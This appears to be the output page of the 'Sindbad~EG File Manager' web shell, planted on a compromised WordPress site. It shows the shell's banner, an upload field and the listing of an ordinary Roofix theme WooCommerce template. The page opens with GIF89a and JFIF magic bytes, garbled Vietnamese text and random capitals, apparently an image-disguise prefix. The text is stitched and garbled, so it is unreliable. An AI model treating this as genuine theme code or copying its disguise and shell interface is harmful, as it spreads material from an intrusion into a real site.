GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527GIF89a;?? JFIF  ? ? ?+GIF89a:GIF89a: út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m" TRBVUI)SDNIUWM(SDMKIUFCNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ 22527 D.R.S Dz

Sindbad~EG File Manager

Current Path : /home1/htainterstpstarp/www/wp-content/themes/roofix/woocommerce/custom/product-block/
Upload File :
Current File : //home1/htainterstpstarp/www/wp-content/themes/roofix/woocommerce/custom/product-block/blocks.php

<?php
/**
 * @author  RadiusTheme
 * @since   1.0
 * @version 1.0
 */

namespace radiustheme\roofix;

if ( !isset( $product ) ) {
	return;
}

if ( !isset( $block_data ) ) {
	$block_data = array();
}

$defaults = array(
	'type'           => 'grid',
	'layout'         => 1,
	'list_layout'    => 1,
	'thumb_size'     => 'woocommerce_thumbnail',
	'cat_display'    => true,
	'rating_display' => true,
	'wishlist'       => true,
	'compare'        => true,
	'quickview'      => true,
	'v_swatch'       => true,
	'gallery'        => true,
);
$block_data = wp_parse_args( $block_data, $defaults );
$block_data = apply_filters( 'roofix_block_args', $block_data );

if ( $block_data['type'] == 'list' ) {
	wc_get_template( "custom/product-block/list-{$block_data['list_layout']}.php" , compact( 'product', 'block_data' ) );
}
else {
	wc_get_template( "custom/product-block/block-{$block_data['layout']}.php" , compact( 'product', 'block_data' ) );
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists